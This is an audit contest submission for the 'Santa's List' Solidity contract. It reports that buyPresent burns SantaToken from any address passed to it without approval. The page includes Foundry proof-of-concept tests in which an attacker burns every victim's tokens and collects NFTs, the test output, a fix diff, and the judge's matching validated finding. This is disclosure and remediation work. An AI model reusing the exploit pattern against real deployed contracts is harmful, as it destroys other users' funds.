Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

`buyPresent` burns SantaToken from an arbitrary third party with no allowance check

Root + Impact

Description

### Summary
`buyPresent(address presentReceiver)` calls `i_santaToken.burn(presentReceiver)` — it destroys the
balance of the address passed as an argument, not the caller's. `SantaToken.burn` authorises only its
caller, which is always `SantasList`, and never the party being debited. No allowance is required and
none is consumed. Any address destroys 100% of every other holder's SantaToken and receives one NFT
per victim for doing it.
### Vulnerability Details
```solidity
/*
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens. <-- :170
*/
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // burns from the ARGUMENT
_mintAndIncrement();
}
```
```solidity
function burn(address from) external {
if (msg.sender != i_santasList) { revert SantaToken__NotSantasList(); }
_burn(from, 1e18);
}
```
`msg.sender` inside `burn` is always `SantasList`, so the check passes on every call. The address
whose balance is destroyed — `presentReceiver` — is fully attacker-chosen and is never consulted.
`buyPresent` is `external` with no modifier, so the attacker is any address.
The NatSpec at `:170` describes an approval step that does not exist anywhere in the call path. A
user who follows the documentation and approves is in exactly the same position as one who does not;
the PoC asserts the allowance is unchanged across the burn.
The asymmetry is the root cause and it is visible in one line. `SantaToken.mint(address to)` and
`SantaToken.burn(address from)` are symmetric primitives — both take the counterparty as an argument
and trust their caller. `SantasList` uses `mint` correctly at `:162` (`i_santaToken.mint(msg.sender)`)
and incorrectly at `:173` (`i_santaToken.burn(presentReceiver)`). The token is not wrong; its caller
is.

Risk


### Impact
An attacker holding zero SantaToken, zero NFTs, no role and no approval destroys **100% of the
SantaToken supply held by other users**, and receives one NFT per victim while doing so.
In the PoC four users each earn 1e18 the intended way (graded `EXTRA_NICE`, collected). Every one is
asserted to have granted zero allowance to both `SantasList` and the attacker. The attacker then
calls `buyPresent` once per victim:
- SantaToken supply: **4e18 → 0**
- Victim tokens destroyed: **4e18**
- NFTs delivered to the attacker: **4**
- Attacker tokens spent: **0**
The tokens are burned, not transferred, so the specific balance is unrecoverable and the victim
holds nothing to claw back. The attack is repeatable against any holder for gas.

Proof of Concept

**Proof of Concept** — `test/Claude/F04_UnauthorizedBurn.t.sol`
```bash
forge test --match-test test_F04 -vvv
```
```solidity
// every victim earned their SANTA the intended way and approved nobody
for (uint256 i = 0; i < 4; i++) {
assertEq(token.allowance(holders[i], address(list)), 0, "no approval to the list");
assertEq(token.allowance(holders[i], attacker), 0, "no approval to the attacker");
}
vm.startPrank(attacker); // holds nothing but an address and gas
for (uint256 i = 0; i < 4; i++) {
list.buyPresent(holders[i]); // burns THEIR tokens, mints an NFT to HIM
}
vm.stopPrank();
assertEq(token.totalSupply(), 0, "entire supply destroyed");
```
```
[PASS] test_F04_AttackerBurnsTheEntireSupplyWithoutConsent()
SANTA supply before (wei): 4000000000000000000
SANTA supply after (wei): 0
victim tokens destroyed (wei): 4000000000000000000
victims who approved anyone: 0
NFTs delivered to the attacker: 4
NFTs delivered to the payers: 0
attacker tokens spent (wei): 0
attacker capital required (wei): 0
[PASS] test_F04_ApprovalIsNeitherRequiredNorConsumed()
allowance before and after the burn (wei): unchanged
=> a user who follows the docs is no safer than one who does not
```

Recommended Mitigation

To completely eliminate this vulnerability and secure the `buyPresent` function, the contract must strictly enforce that tokens are burned only from the transaction sender (`msg.sender`) rather than an arbitrary address passed as a parameter. Allowing third-party token burning without authorization breaks core accounting invariants and exposes users to complete fund drainage. By changing `i_santaToken.burn(presentReceiver)` to `i_santaToken.burn(msg.sender)`, we ensure that users always spend their own earned tokens to purchase presents. Additionally, the NFT minting logic should safely route the minted token to the intended `presentReceiver` using `_safeMint`. This cleanly decouples the payment source from the reward recipient, protecting token holders and restoring the intended protocol design.
```diff
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!